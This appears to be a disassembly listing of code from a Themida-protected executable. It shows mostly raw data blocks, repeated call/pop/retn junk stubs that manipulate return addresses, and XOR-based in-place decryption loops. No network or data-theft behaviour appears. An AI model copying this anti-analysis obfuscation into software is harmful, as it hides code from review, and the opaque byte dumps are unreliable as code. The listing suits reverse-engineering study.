		dd 1B042444h, 40000000h, 4ACEC350h, 6755DCE4h, 0BF66E3D9h
		dd 0BF906589h, 3413E42Ch, 14E950h, 6A800000h, 48D15F09h
		dd 78ADC599h, 32C32B57h, 0D42942A0h, 8B90DD6Fh,	0F1231BDh
		dd 6AD88B06h, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1704h, 0C3504000h, 4D6B3A19h, 0E8D98B66h, 4,	1F03FFh
		dd 6050FE8Ah, 1300ABFh,	59516005h, 310F5250h, 6161585Ah
		dd 424448Bh, 2F49BF66h,	0B757008Bh, 44895FC6h, 8B0F0424h
		dd 7, 0FD49BB56h, 585F17CEh, 95FFFA8Bh,	60F34C9h, 6870Fh
		dd 9D8B0000h, 60F33E9h,	0BAC68589h, 6A0612h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 180424h, 57470000h, 2FC8FEC3h
		dd 0B5890368h, 60F19E1h, 1B599D8Bh, 0C6E9060Fh,	6A000001h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 14042444h
		dd 47000000h, 0E950C357h, 10h, 9825F889h, 7BCC00EAh, 0F9BCAD81h
		dd 3A336AEh, 0BABE858Bh, 6A0612h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 190424h, 57470000h, 0C455E3C3h, 89C59C4Dh
		dd 0F1E699Dh, 1800C706h, 0BB000000h, 4C7E3929h,	0BAC2B58Bh
		dd 0E9600612h, 0Bh, 267C6CB1h, 3CAC58F8h, 8BDAF21Fh, 0F256DB5h
		dd 95896106h, 60F26B1h,	2FA9858Bh, 8166060Fh, 0F8C707D7h
		dd 0BD8B0689h, 60F3155h, 2DA9858Bh, 0B70F060Fh,	44689D8h
		dd 1851BD8Bh, 8950060Fh, 850F2434h, 6, 0E161F381h, 0B5FF11D4h
		dd 612BABEh, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 1Dh,	1EC35242h, 261303A8h, 5F5DDB85h, 0D99D8BC5h, 68060F1Dh
		dd 0ED20A5A3h, 66525060h, 310FF28Bh, 7E8h, 0F76BB400h
		dd 80C1CC46h, 0E8585A5Ah, 0Dh, 95CEC201h, 3A4436A9h, 1B086468h
		dd 85BF66B8h, 81615A35h, 5E5C2404h, 6A12FEh, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 1B0424h, 56460000h, 21F8CC3h
		dd 0AA5AED17h, 0BA6660D3h, 0D381A8C8h, 3D435974h, 0C6858D61h
		dd 0E80612BAh, 0Fh, 0F7F42D93h,	0F5D10209h, 0D7ECD87h
		dd 89E71B25h, 0F17B18Dh, 8B505F06h, 240489DFh, 0F9DCF81h
		dd 0BD89602Ah, 60F1DC5h, 34C995FFh, 6A060Fh, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 190424h, 56460000h, 4E88E8C3h
		dd 8B1FBDECh, 0F1C059Dh, 31F5B706h, 0F30D195h, 6A6106h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 1D0424h, 50400000h
		dd 673192C3h, 0A797D5B5h, 0F723893h, 682h, 0C4CB8100h
		dd 0C7438DE3h, 0F249185h, 306h,	0C6BD8300h, 612BAh, 20840Fh
		dd 0BF0F0000h, 33E9FBh,	12E80000h, 41000000h, 5F3FEB26h
		dd 0EA1A8AF7h, 0DD94400Ah, 0E67B9B63h, 30505F8Ah, 4400110Ch
		dd 0E8C10111h, 11443010h, 114C0002h, 0E9835803h, 0EBE77504h
		dd 4305036h, 11640011h,	10E8C101h, 2114430h, 3116400h
		dd 4E98358h, 1BEBE775h,	10E8C150h, 3116428h, 2114430h
		dd 11642858h, 11043001h, 7504E983h, 8B00EBE7h, 0C850FC0h
		dd 0F000000h, 685h, 0F9B58900h,	89060F1Bh, 0F19E18Dh, 91BD8306h
		dd 3060F24h, 403850Fh, 0F560000h, 835FDAB7h, 12BAC6BDh
		dd 840F0006h, 3F1h, 21F59589h, 0B5FF060Fh, 612BAC6h, 27FD95FFh
		dd 6A060Fh, 3E850h, 58200000h, 448958C3h, 44810424h, 150424h
		dd 50400000h, 0F0B63C3h, 687h, 19D8B00h, 8B060F22h, 0F2B2D9Dh
		dd 0BAB58B06h, 890612BAh, 0F2B5595h, 106C706h, 6A000100h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 1D042444h
		dd 47000000h, 0A4DDC357h, 44FACA86h, 0E090CF8Eh, 0D98B6696h
		dd 9D8B9650h, 60F2951h,	0BAC6B5FFh, 6A0612h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 1A0424h, 53430000h, 420A7CC3h
		dd 0F9C61DFBh, 0A2BF66F9h, 195FF90h
		dd 0F060F13h, 0B58BFFBFh, 612BABAh, 0E850006Ah,	3, 58C35820h
		dd 4244489h, 4244481h, 1Dh, 63C35040h, 97C83685h, 6FA6EF20h
		dd 15BD339Fh, 8B060F01h, 0F1D1585h, 55006A06h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1A04h,	0C3554500h, 485D5A3Eh
		dd 893330B5h, 0C486h, 50006A00h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1A04h, 0C3504000h, 531A2DD1h, 8B3C6E04h
		dd 0F2C6595h, 0D98B6606h, 10E9h, 5DF68A00h, 0F3FC06CCh
		dd 146CE9C0h, 0A2F06B9Fh, 4C28334h, 0E855006Ah,	3, 5DC35D20h
		dd 4246C89h, 4244481h, 19h, 29C35545h, 3A6A9359h, 68D0F5Eh
		dd 89000000h, 0F12D19Dh, 20508906h, 0E853006Ah,	3, 5BC35B20h
		dd 4245C89h, 4244481h, 14h, 8AC35343h, 0CF14858Dh, 8E80612h
		dd 0F2000000h, 7B860776h, 0F068FE3h, 8B5BDAB7h,	0F31019Dh
		dd 0B8868906h, 6A000000h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 1B042444h, 42000000h, 419DC352h, 23BCEFD6h
		dd 6AFF53h, 0FFDA8B66h,	12BAC6B5h, 0FF79B306h, 0F30FD95h
		dd 7E96006h, 3D000000h,	8639CC3h, 14E83B50h, 3E000000h
		dd 0D63867h, 0E6EEB078h, 0E0171F47h, 0DAD586D9h, 66DEF1F1h
		dd 615AD78Bh, 66566050h, 5F6520BEh, 61605250h, 0B4B6310Fh
		dd 8961585Ah, 6A2434h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 160424h, 55450000h, 0F55082C3h, 0B870Fh, 6E90000h, 69000000h
		dd 0EACDBBC1h, 0C6B5FF63h, 6A0612BAh, 3E85300h,	20000000h
		dd 895BC35Bh, 8104245Ch, 1B042444h, 43000000h, 3CB4C353h
		dd 7A3DF3C7h, 95FF822Eh, 60F12E5h, 104D8D89h, 0BD83060Fh
		dd 60F27A1h, 87840F00h,	6A000000h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 1A042444h, 46000000h, 0E557C356h
		dd 4BEC5CD7h, 56FE8B33h, 0AB60DABFh, 50505B3Ah,	0EE952h
		dd 0D8EB0000h, 2B9D2798h, 87557CD1h, 0EC09D96Dh, 0BE8310Fh
		dd 79000000h, 0E72A8FB7h, 4F0CD715h, 5250B110h,	585A310Fh
		dd 89585A5Fh, 6A2434h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 1A0424h, 53430000h, 9C43FCC3h, 0E8533EE3h, 1F05BD8Bh
		dd 0B5FF060Fh, 612BAC6h, 9059D8Bh, 95FF060Fh, 60F3415h
		dd 1A759D23h, 8C0F060Fh, 8, 919D2B57h, 5F060F26h, 0BAC6B5FFh
		dd 8B660612h, 0B98D01F9h, 0FF060F31h, 0F0AF595h, 57006A06h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1504h, 0C3574700h
		dd 8F0F5F40h, 0
; ---------------------------------------------------------------------------
		cmp	dword ptr [ebp+60F07A9h], 2
		jz	loc_5901E1
		mov	eax, [ebp+60F2C8Dh]
		jmp	loc_5901B5
; ---------------------------------------------------------------------------
		dec	ebp
		dec	esp
		inc	esp
		push	0B5CC4DEh
		pop	edx


loc_5901B5:				; CODE XREF: Themida_:005901A7j
		mov	byte ptr [eax],	0
		push	0
		push	ebp
		call	sub_5901C3
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5901C3	proc near		; CODE XREF: Themida_:005901BBp

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 19h
		inc	ebp
		push	ebp
		retn
sub_5901C3	endp

; ---------------------------------------------------------------------------
		db 0CEh
		dd 31371244h, 2820F92h,	8B000000h
; ---------------------------------------------------------------------------
		sti


loc_5901E1:				; CODE XREF: Themida_:0059019Bj
		mov	dword ptr [ebp+60F106Dh], 0
		mov	edi, eax
		jmp	near ptr dword_58EEB0+6A3h
; ---------------------------------------------------------------------------
		mov	eax, ecx
		push	0
		push	edx
		call	sub_5901FF
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5901FF	proc near		; CODE XREF: Themida_:005901F7p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 17h
		inc	edx
		push	edx
		retn
sub_5901FF	endp

; ---------------------------------------------------------------------------
		sahf
		enter	0FFFFAACFh, 29h
		xchg	eax, ebp
		adc	[ebx], esi
		clts
		lea	eax, [ebp+60F1461h]
		push	0
		push	ebp
		call	sub_59022A
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_59022A	proc near		; CODE XREF: Themida_:00590222p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 1Bh
		inc	ebp
		push	ebp
		retn
sub_59022A	endp

; ---------------------------------------------------------------------------
		dw 0B899h
		dd 94684AFAh, 8E90565h,	0AD000000h, 0FD073306h,	90F90B11h
		dd 5050F98Bh, 0AA40BF52h, 310F710Fh, 6A90585Ah,	3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 1B042444h, 43000000h
		dd 0CE33C353h, 6158F394h, 9D89FBFFh, 60F0DD5h, 0DE8h, 0AD8CCB00h
		dd 3F96C9D9h, 0A02F7090h, 0B589C6D9h, 60F2645h,	0E8006A5Fh
		dd 0Ch,	1EAFD77Eh, 0C58C8394h, 3B3C6822h, 11159D0Bh, 6A5F060Fh
		dd 53006A00h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1704h
		dd 0C3534300h, 0E72D8C4Bh, 9DBD8950h, 5F060F27h, 55B5858Dh
		dd 6A0613h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1A0424h
		dd 53430000h, 0AC1829C3h, 7B2FD1FCh, 11E8DA8Bh,	14000000h
		dd 0CD94700Fh, 7DDA899Dh, 0B703ECB4h, 9D586F69h, 2625BD89h
		dd 835B060Fh, 0BF6605C0h, 0E8507979h, 0Fh, 106D5CA6h, 0F7903C0Fh
		dd 113451D5h, 501E157Ch, 0ACEABF52h, 310F26D5h,	585ADA8Bh
		dd 2404895Bh, 0E853006Ah, 3, 5BC35B20h,	4245C89h, 4244481h
		dd 18h,	0F7C35343h, 311894DDh, 0B699D8Bh, 0B589060Fh, 60F2FA1h
		dd 0BD23006Ah, 60F1BCDh, 6A006Ah, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 140424h, 55450000h, 95FF62C3h, 60F348Dh
		dd 14E9h, 0ADE32100h, 0F5DD1EF6h, 9B9D971Bh, 7FBD0C2Dh
		dd 25A11716h, 5E8D8D67h, 0F061298h, 0D1FFFBB7h,	227DBD8Bh
		dd 0BD83060Fh, 60F21ADh, 98850F01h, 6A000000h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 14042444h, 47000000h
		dd 8977C357h, 0F334985h, 6A026A06h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 16042444h, 47000000h, 0E6FAC357h
		dd 13E9902Bh, 94000000h, 239AB443h, 0D17684D1h,	3A21901h
		dd 9042F14Dh, 9050EE9Dh, 0FD95FFF5h, 6A060F30h,	3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 15042444h, 41000000h
		dd 6422C351h, 0AE8F5h, 4FAB0000h, 0C05436B9h, 23D22A40h
		dd 1699D8Bh, 0E95F060Fh, 0DB8h,	0E8h, 0ED815D00h, 61355BFh
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 14h, 14C35747h
		dd 11C78166h, 0C99D2393h, 8D060F1Ch, 12884785h,	89FB8B06h
		dd 0F1D259Dh, 0BB665006h, 48928ECh, 57006A24h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1904h,	0C3574700h, 0D2949F77h
		dd 64F9FC7Dh, 35FFh, 6A0000h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 1D0424h, 50400000h, 0A21102C3h, 45C5C18Bh
		dd 0FF9FD5Fh, 283h, 64D98B00h, 2589h, 0BF660000h, 85FFE9A1h
		dd 60F2459h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 1Dh,	6CC35747h, 8CF8EA20h, 819151A8h, 0DB8166EBh, 21B3D584h
		dd 0BD2BFF6Ah, 60F29C1h, 11C5B5FFh, 6A060Fh, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 1B0424h, 51410000h, 145F26C3h
		dd 59123E40h, 5595FFB6h, 0E9060F14h, 0F2h, 28C19D8Bh, 0B0060Fh
		dd 1BBF70E6h, 0E47515B3h, 0FFBF0F71h, 830F613Ch, 0D6h
		dd 2CB5BD03h, 0B60F060Fh, 6BAC8h, 0B5890000h, 60F1ADDh
		dd 8B66C18Bh, 4E8C1D8h,	0F98B66F5h, 0FE2F766h, 387h, 0DA8B6600h
		dd 0BD8BC82Bh, 60F2D41h, 0E960D18Bh, 0Fh, 29ACD3C3h, 2A32FDEEh
		dd 0AD6136ACh, 0FF4259Ch, 681h,	880F00h, 61000000h, 4ED8D89h
		dd 0E9060Fh, 8B000000h,	0F11A585h, 0B5096006h, 60F2EE1h
		dd 6800Fh, 958B0000h, 60F3389h,	7C08361h, 19A59D8Bh, 0C083060Fh
		dd 0FD03B00h, 1383h, 51BD2900h,	0E9060F18h, 3Ah, 0BFFE8B66h
		dd 684EFFC7h, 28B58D8Bh, 0B509060Fh, 60F12D5h, 0F01E183h
		dd 1D84h, 7EDB8100h, 831CCE34h,	0F28B5A5h, 8166FE06h, 89430CEBh
		dd 0F11A595h, 0E906h, 0B58D0000h, 612DC11h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 15h, 13C35545h, 0F88B66D4h
		dd 6A006Ah, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1D0424h
		dd 52420000h, 5B701CC3h, 0F2E6B329h, 66C56DFBh,	0D77ACF81h
		dd 0FFFA8B66h, 0F345195h, 57006A06h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1404h,	0C3574700h, 259D89BCh
		dd 0B9060F1Ah, 0F21h, 0E857006Ah, 3, 5FC35F20h,	4247C89h
		dd 4244481h, 1Bh, 5DC35747h, 0EC5AF72Fh, 9B72E29h, 0F11059Dh
		dd 0FCE18306h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 1Dh,	0EC35141h, 56EF50BCh, 9ACA262Eh, 9D8B5759h, 60F2455h
		dd 6AFC5Fh, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1A0424h
		dd 55450000h, 70B1B2C3h, 0CDADD806h, 12E8h, 0CA2D0100h
		dd 4CCAA85Fh, 9F63017Bh, 0A6BA9A0h, 0F90335E7h,	0FD9D335Bh
		dd 0B8060F31h, 0
; ---------------------------------------------------------------------------
		jo	loc_5907B9
		movsx	edi, si


loc_5907B9:				; CODE XREF: Themida_:005907B0j
		mov	edi, 4749B840h
		sub	edx, edx
		push	0
		push	edi
		call	sub_5907CB
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5907CB	proc near		; CODE XREF: Themida_:005907C3p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 15h
		inc	edi
		push	edi
		retn
sub_5907CB	endp

; ---------------------------------------------------------------------------
		inc	edi
		pop	eax


loc_5907DD:				; CODE XREF: Themida_:005907E7j
		lodsd
		xor	eax, edx
		shr	eax, 1
		add	edx, eax
		sub	ecx, 4
		jnz	short loc_5907DD
		push	0
		push	ebx
		call	sub_5907F4
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5907F4	proc near		; CODE XREF: Themida_:005907ECp

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 19h
		inc	ebx
		push	ebx
		retn
sub_5907F4	endp

; ---------------------------------------------------------------------------
		and	[edi], dl
		cmp	ebx, [edx-62742940h]
		sal	dword ptr [edi+ecx], 1
		push	es
		mov	edi, [ebp+60F00E5h]
		jnz	$+6
		mov	edi, edx
		or	eax, 88h
		push	eax
		and	ebx, [ebp+60F11ADh]
		pop	edi
		mov	edx, [ebp+60F2C65h]
		push	0
		push	edx
		call	sub_59083C
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_59083C	proc near		; CODE XREF: Themida_:00590834p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 18h
		inc	edx
		push	edx
		retn
sub_59083C	endp

; ---------------------------------------------------------------------------
		db	26h
		inc	eax
		adc	[eax+54h], bl
		mov	bl, 6Fh
		movzx	edi, cx
		mov	[ebp+60F2219h],	ebx
		mov	ecx, [ebp+60F07C1h]
		push	0
		push	esi
		call	sub_59086D
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_59086D	proc near		; CODE XREF: Themida_:00590865p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 17h
		inc	esi
		push	esi
		retn
sub_59086D	endp

; ---------------------------------------------------------------------------
		db 0EEh, 0E3h, 90h
; ---------------------------------------------------------------------------
		push	esp
		call	sub_590894
		fdivp	st(3), st
		mov	[eax-211B8336h], edi
		push	0E8A395E8h
		push	es

; =============== S U B	R O U T	I N E =======================================



sub_590894	proc near		; CODE XREF: Themida_:00590881p

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 00590DC1 SIZE 00000043 BYTES

		sub	di, 0DE34h
		pop	edi
		mov	edi, 1276EC36h
		push	eax
		mov	eax, edx
		mov	ebx, [eax]
		add	eax, ecx
		mov	ebx, [eax]
		mov	eax, ecx
		shr	eax, 1
		add	eax, edx
		mov	ebx, [eax]
		pop	eax
		jmp	loc_5908C2
; ---------------------------------------------------------------------------
		dw 4353h
		dd 0BBE1DA65h, 0FDF02C2Dh
; ---------------------------------------------------------------------------
		adc	al, 2Eh


loc_5908C2:				; CODE XREF: sub_590894+1Dj
		cmp	dword ptr [ebp+60F2AD5h], 0
		jz	loc_59090F
		or	edi, 7F7F954Ch
		mov	eax, 0
		sbb	di, 929Bh
		lea	ecx, [ebp+60F4CA7h]
		sub	[ebp+60F2559h],	edi
		jmp	ecx
; ---------------------------------------------------------------------------
		push	0
		push	esi
		call	loc_5908F8
		and	[esi-3Dh], bl


loc_5908F8:				; CODE XREF: sub_590894+5Cp
		pop	esi
		mov	[esp+arg_0], esi
		add	[esp+arg_0], 1Ah
		inc	esi
		push	esi
		retn
; ---------------------------------------------------------------------------
		dd 0E826EC29h
		db 93h,	0Bh, 43h
; ---------------------------------------------------------------------------


loc_59090F:				; CODE XREF: sub_590894+35j
		cmp	dword ptr [ebp+60F2491h], 0
		jz	loc_590DC1
		mov	[ebp+60F2EADh],	esi
		cmp	dword ptr [ebp+60F2491h], 1
		jz	loc_590DDC
		push	0
		push	edi
		call	sub_59093A
		and	[edi-3Dh], bl
sub_590894	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_59093A	proc near		; CODE XREF: sub_590894+9Ep

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 1Bh
		inc	edi
		push	edi
		retn
sub_59093A	endp

; ---------------------------------------------------------------------------
		lds	edi, [ebx+5E14ED81h]
		mov	cl, [ebx+0D2D8589h]
		clts
		cmp	dword ptr [ebp+60F2491h], 3
		jbe	loc_590DA6
		and	bx, 0C94Ah
		pusha
		push	0
		push	ebx
		call	sub_590976
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_590976	proc near		; CODE XREF: Themida_:0059096Ep

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 1Bh
		inc	ebx
		push	ebx
		retn
sub_590976	endp

; ---------------------------------------------------------------------------
		dw 446Ch
		dd 70DD7B08h, 8C665F32h, 55006AD9h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1804h, 0C3554500h, 0BE5C394h, 3D9D8B8Dh
		dd 80060F22h, 6A04E1h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 140424h, 52420000h, 0C90AD8C3h, 114840Fh, 6A0000h, 3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 140424h, 53430000h
		dd 858B4EC3h, 60F2DA9h,	19AD8533h, 9D8B060Fh, 60F1A39h
		dd 90DA8B66h, 21BB6650h, 0BD8990CBh, 60F1411h, 6A006Ah
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1D0424h, 51410000h
		dd 94AD29C3h, 140C4E68h, 6899F4FFh, 9A676ED6h, 60FB8B60h
		dd 0E9FA8B66h, 0Ah, 0B4CA603Bh,	893FC5C3h, 61615A14h, 29240481h
		dd 6A65B795h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 18042444h, 45000000h, 0DC07C355h, 0FF07C3AEh, 0F34C995h
		dd 0EABB6606h, 0C6858940h, 6A0612BAh, 3E85600h,	20000000h
		dd 895EC35Eh, 81042474h, 1D042444h, 46000000h, 0D48BC356h
		dd 0FBDA57D1h, 0C11501B5h, 2B799D8Bh, 0B589060Fh, 60F12F5h
		dd 239E9h, 52006A00h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h
		dd 1704h, 0C3524200h, 493F8582h, 925BD8Bh, 858B060Fh, 612BABEh
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 19h, 5DC35646h
		dd 0A25769CFh, 69B58961h, 0C7060F0Fh, 1800h, 8D896000h
		dd 60F13D5h, 29498D89h,	8B61060Fh, 12BAC2B5h, 4F38106h
		dd 8B427F33h, 0F2FA985h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1404h, 0C3564600h, 6A068931h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 15042444h, 46000000h, 14AAC356h
		dd 1435BD29h, 858B060Fh, 60F2DA9h, 81BD09h, 4689060Fh
		dd 56006A04h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1704h
		dd 0C3564600h, 0C49E4115h, 1950160h, 0B8060F29h, 1A4A0CB3h
		dd 52505061h, 118E0Fh, 0CE90000h, 0FF000000h, 0DC1D4981h
		dd 0F233235Ch, 0FC67886h, 499DBF31h, 585A2511h,	6A243489h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 19042444h
		dd 45000000h, 0E485C355h, 5B3B601h, 859D8953h, 5B060F23h
		dd 0BABEB5FFh, 0F600612h, 680h,	810F00h, 61000000h, 9A3EDB68h
		dd 0E8576064h, 9, 3F18E287h, 3ACC9162h,	61585EA0h, 24243481h
		dd 6A64853Dh, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 16042444h, 41000000h, 0CC77C351h, 619D8920h,	8D060F2Ah
		dd 12BAC685h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1604h, 0C3564600h, 60B70C3Fh, 0AE9h,	32FF6200h, 0AFF27224h
		dd 0E8BAC803h, 13h, 0DC03236Ch,	75415A4Ah, 0D74EB5A6h
		dd 0BE51FFh, 239C6350h,	0F14E185h, 90615806h, 14E8h, 0CA901900h
		dd 83FB08C4h, 2E3BCBE5h, 639BAB31h, 0DF8DB139h,	0DF8B6603h
		dd 8B66505Fh, 6A90F8h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 160424h, 56460000h, 7C867EC3h, 0FFFB8B66h, 0F34C995h
		dd 6A61F906h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 1A042444h, 42000000h, 723EC352h, 34179374h, 57EB810Fh
		dd 97B0C55h, 0F2AAD85h,	9185C706h, 3060F24h, 66000000h
		dd 5FA4DF81h, 0BAC6BD83h, 0F000612h, 5584h, 50006A00h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1D04h, 0C3504000h
		dd 5A081D5Dh, 887BA07h,	5E9A444h, 0E000000h, 1786FB1Dh
		dd 3CE9h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1604h, 0C3534300h, 0F167643h
; ---------------------------------------------------------------------------
		mov	bh, 0D8h


loc_590DA6:				; CODE XREF: Themida_:0059095Fj
					; Themida_:00590DBDj
		push	eax
		xor	[ecx+edx], cl
		add	[ecx+edx+1], al
		shr	eax, 10h
		xor	[ecx+edx+2], al
		add	[ecx+edx+3], cl
		pop	eax
		sub	ecx, 4
		jnz	short loc_590DA6
		jmp	short loc_590DF7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_590894


loc_590DC1:				; CODE XREF: sub_590894+82j
					; sub_590894+544j
		push	eax
		xor	[ecx+edx], al
		add	[ecx+edx+1], ah
		shr	eax, 10h
		xor	[ecx+edx+2], al
		add	[ecx+edx+3], ah
		pop	eax
		sub	ecx, 4
		jnz	short loc_590DC1
		jmp	short loc_590DF7
; ---------------------------------------------------------------------------


loc_590DDC:				; CODE XREF: sub_590894+95j
					; sub_590894+55Fj
		push	eax
		shr	eax, 10h
		sub	[ecx+edx+3], ah
		xor	[ecx+edx+2], al
		pop	eax
		sub	[ecx+edx+1], ah
		xor	[ecx+edx], al
		sub	ecx, 4
		jnz	short loc_590DDC
		jmp	short $+2


loc_590DF7:				; CODE XREF: Themida_:00590DBFj
					; sub_590894+546j
		mov	eax, eax
		push	0
		push	eax
		call	sub_590E04
		and	[eax-3Dh], bl
; END OF FUNCTION CHUNK	FOR sub_590894

; =============== S U B	R O U T	I N E =======================================



sub_590E04	proc near		; CODE XREF: sub_590894+568p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 1Ah
		inc	eax
		push	eax
		retn
sub_590E04	endp

; ---------------------------------------------------------------------------
		dd 0AEAFA723h, 0E9CE29CCh, 0Eh,	9657FDC5h, 0A3CF97CDh
		dd 5E379EAh, 0BD8B9F45h, 60F276Dh, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 15h, 0C0C35343h,	83DC8A97h, 0F2491BDh
		dd 850F0306h, 3AAh, 2169BD8Bh, 9D29060Fh, 60F3269h, 0BAC6BD83h
		dd 0F000612h, 39184h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1704h, 0C3554500h, 0EA9E6FFFh, 38F0Fh, 0BF0F0000h
		dd 0C6B5FFFFh, 0F0612BAh, 389h,	0FA8B6600h, 27FD95FFh
		dd 0BF66060Fh, 0B58BCA86h, 612BABAh, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 19h, 28C35242h, 19AF0878h, 106C790h
		dd 0F000100h, 6050F8BFh, 0AB26BE66h, 8961D68Bh,	6A2434h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 140424h, 50400000h
		dd 8B6627C3h, 0C6B5FFFEh, 6A0612BAh, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 15042444h, 43000000h, 0C744C353h
		dd 130195FFh, 8B0F060Fh, 1, 0BAB58BF5h,	660612BAh, 0E1F1F781h
		dd 12BD9D8Bh, 858B060Fh, 60F1D15h, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 18h, 0DCC35747h,	0EF5BFE15h, 14259D23h
		dd 8D0F060Fh, 8, 0D1BD8B53h, 5F060F1Bh,	0F8DBD8Bh, 8689060Fh
		dd 0C4h, 0C18B6660h, 61FFB70Fh,	2C65958Bh, 6A060Fh, 3E851h
		dd 59200000h, 4C8959C3h, 44810424h, 190424h, 51410000h
		dd 0D26F43C3h, 33124EB6h, 0F10399Dh, 6D9D0B06h,	83060F34h
		dd 6A04C2h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 140424h
		dd 55450000h, 9D8B56C3h, 60F2299h, 6A205089h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 16042444h, 41000000h
		dd 703EC351h, 14858DEDh, 0F0612CFh, 383h, 0DA8B6600h, 34C5BD8Bh
		dd 8689060Fh, 0B8h, 30759D89h, 6A060Fh,	0E857006Ah, 3
		dd 5FC35F20h, 4247C89h,	4244481h, 1Bh, 0B2C35747h, 0D4E3D2EAh
		dd 0FF50C8E9h, 12BAC6B5h, 0FD95FF06h, 0F5060F30h, 8860F50h
		dd 0F000000h, 28Eh, 895F5100h, 850F2434h, 0
; ---------------------------------------------------------------------------
		push	dword ptr [ebp+612BAC6h]
		push	0
		push	ebp
		call	sub_591099
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_591099	proc near		; CODE XREF: Themida_:00591091p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 16h
		inc	ebp
		push	ebp
		retn
